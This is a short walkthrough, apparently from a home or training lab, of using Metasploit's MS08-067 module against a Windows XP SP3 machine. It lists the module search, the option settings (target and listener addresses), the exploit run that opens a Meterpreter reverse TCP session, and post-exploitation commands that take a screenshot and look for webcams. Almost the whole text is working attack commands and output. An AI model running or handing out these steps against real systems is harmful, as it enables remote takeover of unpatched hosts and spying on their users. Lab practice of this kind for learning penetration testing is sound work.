

Exploit Windows XP

```
msf6 > search MS08-067
```

Matching Modules

=====

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08-067 Microsoft Server Service Relative Path Stack Corruption

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/windows/smb/ms08_067_netapi`

```
msf6 > use exploit/windows/smb/ms08_067_netapi
```

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

```
msf6 exploit(windows/smb/ms08_067_netapi) > show options
```

Module options (exploit/windows/smb/ms08_067_netapi):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metsploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.50.100	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Targeting

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.50.105
rhosts => 192.168.50.105
msf6 exploit(windows/smb/ms08_067_netapi) > show options
```

Module options (exploit/windows/smb/ms08_067_netapi):

Name	Current Setting	Required	Description
----	-----	-----	-----
RHOSTS	192.168.50.105	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SMBPIPE	BROWSER	yes	The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

Name	Current Setting	Required	Description
----	-----	-----	-----
EXITFUNC	thread	yes	Exit technique (Accepted: '', seh, thread, process, none)
LHOST	192.168.50.100	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	----
0	Automatic Targeting

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
```

```
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.105:445 - Automatically detecting the target...
[*] 192.168.50.105:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.50.105:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.50.105:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.50.105
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.105:1032) at 2024-01-17 09:43:17 +0100
```

```
meterpreter > load espia
Loading extension espia...Success.
```

```
meterpreter > load espia
Loading extension espia...Success.
meterpreter > screengrab
Screenshot saved to: /home/kali/IwdjrAIB.jpeg
meterpreter > web_list
[-] Unknown command: web_list
meterpreter > webcam_list
[-] No webcams were found
meterpreter > 
```

